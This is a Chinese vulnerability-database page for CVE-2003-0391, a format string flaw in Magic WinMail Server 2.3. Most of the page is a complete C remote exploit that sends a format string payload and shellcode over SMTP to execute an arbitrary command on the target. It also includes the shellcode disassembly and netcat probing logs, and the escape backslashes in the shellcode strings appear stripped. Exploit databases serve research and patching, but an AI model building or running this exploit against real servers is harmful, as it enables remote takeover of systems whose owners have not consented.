Magic WinMail Server拒绝服务漏洞

Magic WinMail Server拒绝服务漏洞

漏洞ID 1107375 漏洞类型 格式化字符串
发布时间 2003-06-11 更新时间 2003-07-02
图片[1]-Magic WinMail Server拒绝服务漏洞-安全小百科CVE编号 CVE-2003-0391
图片[2]-Magic WinMail Server拒绝服务漏洞-安全小百科CNNVD-ID CNNVD-200307-005
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/42
https://www.securityfocus.com/bid/87125
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200307-005
|漏洞详情
MagicWinMailServer2.3可能还包括其他2.x版本存在格式化字符串漏洞。远程攻击者可以借助PASS命令中的格式化字符串说明符导致服务拒绝(崩溃),并且可能可以执行任意代码。
|漏洞EXP
/******************************************************************
 * Magic Winmail Server 2.3(Build 0402) 
 * Remote Format string exploit.
 ******************************************************************
 * Coded by ThreaT.
 *
 *
 * This one take advantage of a format bug in the 
 * >>> SMTP protocol <<< (not pop3) for execute
 * a malicious command on a vulnerable system
 *
 * usage : mwmxploit <Target IP> <command to execute remotely> [smtp port]
 * + The command to execute cannot exceed 90 characters +
 *
 * compile : cl.exe mwmxploit.c /w
 *
 ******************************************************************
*/


#include <windows.h>
#include <winsock.h>

#pragma comment (lib,"wsock32.lib")

void main (int argc, char *argv[])
{

	SOCKET sock;

	char buffer[1000];
	int i;

	// ecrasement d'un saved EIP grâce aux caractères de format
	char vuln[] = 		
		"xecxfcx66x01%x%x"
		"xedxfcx66x01%x%x"
		"xeexfcx66x01"
		
		"%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%28x%n"
		"%97x%n%105x%hn"

/*

  This is my specific shellcode for execute a command
  over the Magic Winmail process.

  This one can contain null bytes, enjoy ! :)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Disassembly of File: mailserver.exe
Code Offset = 00001000, Code Size = 000CF000
Data Offset = 000EC000, Data Size = 0002E000
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 Reference To: KERNEL32.GetModuleHandleA, Ord:0000h
:004B8850 FF15AC014D00            Call dword ptr [004D01AC]

 Reference To: KERNEL32.ExitProcess, Ord:0000h
:004B88C6 FF1598014D00            Call dword ptr [004D0198]

 Reference To: KERNEL32.GetProcAddress, Ord:0000h
:00406CE7 8B3DEC004D00            mov edi, dword ptr [004D00EC]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  //////////////////////// My shellcode \\\\\\\\\\\\\

: EB50                    jmp 00401058
: 5E                      pop esi
: 8BEC                    mov ebp, esp
: 83EC28                  sub esp, 00000028		// je cree un stack
: C745D84B65726E          mov [ebp-28], 6E72654B
: C745DC656C3332          mov [ebp-24], 32336C65 // j'y place 'Kernel32'
: C745E000000000          mov [ebp-20], 00000000
: C745E457696E45          mov [ebp-1C], 456E6957
: C745E878656300          mov [ebp-18], 00636578 // ici 'WinExec'

// adaptez le shellcode en virant cette ligne si vraiment vous avez besoin 
// de 4 caractères de plus pour la commande à executer
: C645EB00                mov [ebp-15], 00
										
: BAAC014D00              mov edx, 004D01AC
: 8D45D8                  lea eax, dword ptr [ebp-28]
: 50                      push eax
: FF12                    call dword ptr [edx]	// eax = GetModuleHandle ("Kernel32");
: 8D5DE4                  lea ebx, dword ptr [ebp-1C]
: 53                      push ebx
: 50                      push eax
: BAEC004D00              mov edx, 004D00EC
: FF12                    call dword ptr [edx]	// GetProcAdress (eax, "WinExec");
: 6A01                    push 00000001		// 1 = SW_SHOW, 0 = SW_HIDE 
: 56                      push esi
: FFD0                    call eax			// WinExec (argv[2], SW_SHOW)
: BA98014D00              mov edx, 004D0198
: FF12                    call dword ptr [edx]	// ExitProcess ();
: E8ABFFFFFF              call 00401008	

  \\\\\\\\\\\\\\\\ EOF /////////////////////////////////

  */
	

// Generated by Hex Workshop
// shellcode.exe - Starting Offset: 4102 (0x00001006) Length: 87 (0x00000057)

	"x00x90x90x90x90"	// sa, c'est pour bien coller
	"xEBx50x5Ex8BxECx83xECx28xC7x45xD8x4Bx65x72x6ExC7" 
	"x45xDCx65x6Cx33x32xC7x45xE0x00x00x00x00xC7x45xE4" 
	"x57x69x6Ex45xC7x45xE8x78x65x63x00xC6x45xEBx00xBA" 
	"xACx01x4Dx00x8Dx45xD8x50xFFx12x8Dx5DxE4x53x50xBA" 
	"xECx00x4Dx00xFFx12x6Ax01x56xFFxD0xBAx98x01x4Dx00" 
	"xFFx12xE8xABxFFxFFxFF";

	SOCKADDR_IN sin;
	WSADATA wsadata;
	WORD wVersionRequested = MAKEWORD (2,0);

	//
	printf ("* #################################### *n"
		"  Magic Winmail Server 2.3(Build 0402)n"
		"     Remote format string exploit !n"
		"* #################################### *n"
		"  Coded By ThreaT -> ThreaTnn");

	if (argc < 3 || strlen (argv[2]) > 90)
	{
	printf ("usage : mwmxploit <Target IP> <command to execute> [smtp port]nn"
			" + The command to execute cannot exceed 90 characters +n");
	ExitProcess (0);
	}

	if ( WSAStartup(wVersionRequested, &wsadata) )
	{
		printf ("Erreur d'initialisation winsock !n");
		ExitProcess (1);		
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons ((void *)argv[3] ? atoi (argv[3]) : 25);
	
	if ( (sin.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
	{
		printf ("Erreur : L'adresse IP de la victime est incorrect !n");
		ExitProcess (2);
	}

	printf ("connecting to %s on port %u...", argv[1], ntohs ( sin.sin_port ) );

	sock = socket (AF_INET, SOCK_STREAM, 0);
	if ( connect (sock, (SOCKADDR *)&sin, sizeof (sin)) )
	{
		printf ("erreur : connexion impossible !n");
		ExitProcess (3);
	}

	recv (sock,buffer,1000,0);
	
	printf ("okn-> %snsending exploit code...",buffer);

	send (sock, vuln, strlen (vuln) + 92, 0);  // envoi du shellcode
	send (sock, argv[2], strlen (argv[2]), 0); // envoi de la commande
	send (sock, "rn", 2, 0); // validation

	recv (sock,buffer,1000,0); // remote crash :)

	puts ("ok");
}

/*
D:toolznetcat>nc 127.0.0.1 25
220 M1 Magic Winmail Server 2.3(Build 0402) ESMTP ready
AAAA 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 
0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.
8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x 
0x%.8x 0x%.8x 0x%.8x 0x%.8x 0x%.8x
502 unimplemented (#5.5.1)
 */

/*
D:>type "c:Program FilesMagic Winmailserverlogssmtp.log"
0906/Y-01:50:30   1548 Connect from 127.0.0.1
0906/Y-01:51:06   1584 unrecognized command = AAAA 0x00498f71 0x0176fd10 
0x0176fe3c 0x000000eb 0x0176ff80 0x00ee6c80 0x00000050 0x00ee60d9 0x00000102 
0x0000011f 0x00000050 0x00eecf71 0x0000001c 0x0000001f 0x0176ff74 0x004cd2c0 
0x00000001 0x00493e40 0x0176fd50 0x00000000 0x00ee5ea8 0x00ee5ea8 0x41414141 
0x25783020 0x2078382e 0x2e257830 0x30207838 0x382e2578 0x78302078 0x78382e25 
0x25783020 0x2078382e 0x2e257830

*/


// milw0rm.com [2003-06-11]
|受影响的产品
Amax Information Technologies Magic Winmail Server 2.3
|参考资料

来源:www.magicwinmail.net
链接:http://www.magicwinmail.net/changelog.asp
来源:BUGTRAQ
名称:20030523MagicWinmailServer
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105370528428222&w;=2

相关推荐: Compaq Java Applet for Presario SpawnApp – Code Execution

Compaq Java Applet for Presario SpawnApp – Code Execution 漏洞ID 1053376 漏洞类型 发布时间 1998-11-28 更新时间 1998-11-28 CVE编号 N/A CNNVD-ID N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享